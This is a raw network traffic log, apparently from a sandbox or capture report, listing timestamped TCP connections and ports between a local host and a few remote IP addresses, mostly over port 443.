Oct 26, 2024 13:46:38.935808897 CEST	443	49967	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.936403990 CEST	49967	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.936412096 CEST	443	49967	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.938915968 CEST	443	49968	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.939829111 CEST	49968	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.939867020 CEST	443	49968	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.940516949 CEST	49968	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.940529108 CEST	443	49968	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.997155905 CEST	443	49965	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.997390032 CEST	443	49965	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.997440100 CEST	49965	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.997479916 CEST	49965	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.997495890 CEST	443	49965	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:38.997507095 CEST	49965	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:38.997512102 CEST	443	49965	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.000217915 CEST	49970	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.000267982 CEST	443	49970	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.000338078 CEST	49970	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.000560045 CEST	49970	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.000580072 CEST	443	49970	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.038162947 CEST	443	49966	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.038373947 CEST	443	49966	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.038440943 CEST	49966	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.038507938 CEST	49966	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.038525105 CEST	443	49966	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.038537025 CEST	49966	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.038543940 CEST	443	49966	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.041558981 CEST	49971	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.041604042 CEST	443	49971	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.041678905 CEST	49971	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.041848898 CEST	49971	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.041861057 CEST	443	49971	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.068156004 CEST	443	49968	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.068181992 CEST	443	49968	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.068236113 CEST	443	49968	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.068278074 CEST	49968	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.068312883 CEST	49968	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.068517923 CEST	49968	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.068537951 CEST	443	49968	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.068550110 CEST	49968	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.068557024 CEST	443	49968	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.070897102 CEST	443	49967	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.070966959 CEST	443	49967	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.071017981 CEST	49967	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.071120977 CEST	49967	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.071137905 CEST	443	49967	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.071149111 CEST	49967	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.071155071 CEST	443	49967	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.071433067 CEST	49972	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.071456909 CEST	443	49972	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.071531057 CEST	49972	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.071655989 CEST	49972	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.071666002 CEST	443	49972	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.073225975 CEST	49973	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.073282957 CEST	443	49973	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.073553085 CEST	49973	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.073679924 CEST	49973	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.073693991 CEST	443	49973	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.568737984 CEST	443	49969	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.569237947 CEST	49969	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.569257021 CEST	443	49969	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.569708109 CEST	49969	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.569714069 CEST	443	49969	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.701301098 CEST	443	49969	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.701332092 CEST	443	49969	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.701387882 CEST	443	49969	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.701464891 CEST	49969	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.701499939 CEST	49969	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.701683044 CEST	49969	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.701704025 CEST	443	49969	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.701716900 CEST	49969	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.701721907 CEST	443	49969	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.704286098 CEST	49974	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.704328060 CEST	443	49974	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.704423904 CEST	49974	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.704547882 CEST	49974	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.704560041 CEST	443	49974	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.744277954 CEST	443	49970	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.744833946 CEST	49970	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.744859934 CEST	443	49970	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.745280981 CEST	49970	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.745286942 CEST	443	49970	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.764477968 CEST	443	49971	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.764956951 CEST	49971	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.764981031 CEST	443	49971	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.765371084 CEST	49971	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.765376091 CEST	443	49971	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.801551104 CEST	443	49973	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.802020073 CEST	49973	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.802047014 CEST	443	49973	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.802486897 CEST	49973	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.802495956 CEST	443	49973	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.808821917 CEST	443	49972	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.809094906 CEST	49972	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.809112072 CEST	443	49972	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.809463978 CEST	49972	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.809470892 CEST	443	49972	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.893893003 CEST	443	49971	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.893922091 CEST	443	49971	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.893986940 CEST	443	49971	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.894038916 CEST	49971	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.894082069 CEST	49971	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.894315958 CEST	49971	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.894330025 CEST	443	49971	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.894357920 CEST	49971	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.894364119 CEST	443	49971	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.897069931 CEST	49975	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.897116899 CEST	443	49975	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.897209883 CEST	49975	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.897362947 CEST	49975	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.897381067 CEST	443	49975	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.941919088 CEST	443	49973	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.941950083 CEST	443	49973	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.942012072 CEST	49973	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.942018032 CEST	443	49973	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.942060947 CEST	49973	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.942240000 CEST	49973	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.942260981 CEST	443	49973	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.942272902 CEST	49973	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.942279100 CEST	443	49973	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.945435047 CEST	49976	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.945477009 CEST	443	49976	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.945564032 CEST	49976	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.945751905 CEST	49976	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.945769072 CEST	443	49976	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.992685080 CEST	443	49970	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.992713928 CEST	443	49970	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.992729902 CEST	443	49970	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.992810011 CEST	49970	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.992845058 CEST	443	49970	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.992899895 CEST	49970	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.993556976 CEST	443	49970	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.993626118 CEST	443	49970	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.993627071 CEST	49970	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.993671894 CEST	49970	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.993725061 CEST	49970	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.993742943 CEST	443	49970	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.993752956 CEST	49970	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.993760109 CEST	443	49970	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.996390104 CEST	49977	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.996438026 CEST	443	49977	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:39.996509075 CEST	49977	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.996651888 CEST	49977	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:39.996665955 CEST	443	49977	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.060094118 CEST	443	49972	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.060121059 CEST	443	49972	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.060137033 CEST	443	49972	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.060203075 CEST	49972	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.060229063 CEST	443	49972	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.060273886 CEST	49972	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.178648949 CEST	443	49972	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.178683996 CEST	443	49972	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.178761959 CEST	443	49972	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.178761959 CEST	49972	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.178812027 CEST	49972	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.178982019 CEST	49972	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.179011106 CEST	443	49972	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.179029942 CEST	49972	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.179035902 CEST	443	49972	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.182312965 CEST	49978	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.182362080 CEST	443	49978	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.182456970 CEST	49978	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.182666063 CEST	49978	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.182678938 CEST	443	49978	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.453414917 CEST	443	49974	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.453975916 CEST	49974	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.453999043 CEST	443	49974	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.454435110 CEST	49974	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.454442024 CEST	443	49974	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.592489004 CEST	443	49974	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.592541933 CEST	443	49974	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.592600107 CEST	49974	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.592632055 CEST	443	49974	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.592691898 CEST	443	49974	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.592737913 CEST	49974	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.592917919 CEST	49974	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.592936039 CEST	443	49974	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.592945099 CEST	49974	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.592950106 CEST	443	49974	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.596643925 CEST	49979	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.596684933 CEST	443	49979	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.596800089 CEST	49979	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.597022057 CEST	49979	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.597035885 CEST	443	49979	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.629815102 CEST	443	49975	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.630362988 CEST	49975	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.630409002 CEST	443	49975	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.630831957 CEST	49975	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.630837917 CEST	443	49975	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.679531097 CEST	443	49976	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.680007935 CEST	49976	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.680036068 CEST	443	49976	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.680460930 CEST	49976	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.680466890 CEST	443	49976	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.761183977 CEST	443	49975	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.761267900 CEST	443	49975	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.761328936 CEST	49975	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.761558056 CEST	49975	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.761579037 CEST	443	49975	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.761585951 CEST	49975	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.761591911 CEST	443	49975	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.763807058 CEST	443	49977	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.764369965 CEST	49977	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.764384985 CEST	443	49977	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.764611959 CEST	49977	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.764619112 CEST	443	49977	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.764749050 CEST	49980	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.764791965 CEST	443	49980	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.764872074 CEST	49980	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.765064955 CEST	49980	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.765079975 CEST	443	49980	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.810910940 CEST	443	49976	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.810976982 CEST	443	49976	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.811081886 CEST	49976	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.811356068 CEST	49976	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.811373949 CEST	443	49976	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.811388969 CEST	49976	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.811394930 CEST	443	49976	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.814419985 CEST	49981	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.814481974 CEST	443	49981	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.814568043 CEST	49981	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.814749956 CEST	49981	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.814762115 CEST	443	49981	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.898140907 CEST	443	49977	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.898228884 CEST	443	49977	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.898328066 CEST	49977	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.898547888 CEST	49977	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.898581982 CEST	443	49977	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.898602962 CEST	49977	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.898610115 CEST	443	49977	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.901695013 CEST	49982	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.901745081 CEST	443	49982	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.901957989 CEST	49982	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.902082920 CEST	49982	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.902096033 CEST	443	49982	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.923115015 CEST	443	49978	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.923669100 CEST	49978	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.923702002 CEST	443	49978	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:40.924155951 CEST	49978	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:40.924163103 CEST	443	49978	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.055653095 CEST	443	49978	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.055736065 CEST	443	49978	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.055784941 CEST	49978	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.059735060 CEST	49978	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.059762001 CEST	443	49978	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.059771061 CEST	49978	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.059777021 CEST	443	49978	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.062455893 CEST	49983	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.062510967 CEST	443	49983	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.062568903 CEST	49983	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.062748909 CEST	49983	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.062766075 CEST	443	49983	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.321840048 CEST	443	49979	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.322472095 CEST	49979	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.322495937 CEST	443	49979	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.322983980 CEST	49979	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.322990894 CEST	443	49979	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.514944077 CEST	443	49980	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.515456915 CEST	49980	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.515490055 CEST	443	49980	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.515959978 CEST	49980	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.515964985 CEST	443	49980	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.541862011 CEST	443	49981	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.542368889 CEST	49981	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.542414904 CEST	443	49981	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.542869091 CEST	49981	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.542884111 CEST	443	49981	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.601212025 CEST	443	49979	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.601383924 CEST	443	49979	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.601447105 CEST	443	49979	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.601511002 CEST	49979	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.601665974 CEST	49979	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.601838112 CEST	49979	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.601838112 CEST	49979	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.601861000 CEST	443	49979	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.601871967 CEST	443	49979	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.630330086 CEST	443	49982	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.630897999 CEST	49982	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.630925894 CEST	443	49982	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.631357908 CEST	49982	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.631367922 CEST	443	49982	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.651397943 CEST	443	49980	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.651504040 CEST	443	49980	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.651597977 CEST	49980	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.651783943 CEST	49980	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.651804924 CEST	443	49980	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.651815891 CEST	49980	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.651822090 CEST	443	49980	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.674117088 CEST	443	49981	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.674210072 CEST	443	49981	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.674285889 CEST	49981	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.674464941 CEST	49981	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.674487114 CEST	443	49981	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.674498081 CEST	49981	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.674505949 CEST	443	49981	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.759191036 CEST	443	49982	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.759278059 CEST	443	49982	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.759346008 CEST	49982	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.759526014 CEST	49982	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.759561062 CEST	443	49982	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.759572029 CEST	49982	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.759577990 CEST	443	49982	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.813294888 CEST	443	49983	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.813749075 CEST	49983	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.813781023 CEST	443	49983	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.814193964 CEST	49983	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.814203024 CEST	443	49983	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.946392059 CEST	443	49983	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.946485043 CEST	443	49983	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.946527958 CEST	49983	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.946671963 CEST	49983	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.946697950 CEST	443	49983	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:41.946713924 CEST	49983	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:41.946721077 CEST	443	49983	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:42.251950026 CEST	49705	80	192.168.2.9	199.232.210.172
Oct 26, 2024 13:46:42.257967949 CEST	80	49705	199.232.210.172	192.168.2.9
Oct 26, 2024 13:46:42.258059978 CEST	49705	80	192.168.2.9	199.232.210.172
Oct 26, 2024 13:46:46.586806059 CEST	49984	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:46.586847067 CEST	443	49984	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:46.586932898 CEST	49984	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:46.587332010 CEST	49984	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:46.587346077 CEST	443	49984	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:47.650960922 CEST	443	49984	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:47.651175022 CEST	49984	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:47.735152006 CEST	49984	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:47.735183001 CEST	443	49984	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:47.736258030 CEST	443	49984	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:47.737471104 CEST	49984	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:47.783329010 CEST	443	49984	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:48.088392019 CEST	443	49984	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:48.088421106 CEST	443	49984	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:48.088474989 CEST	443	49984	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:48.088516951 CEST	49984	443	192.168.2.9	4.245.163.56
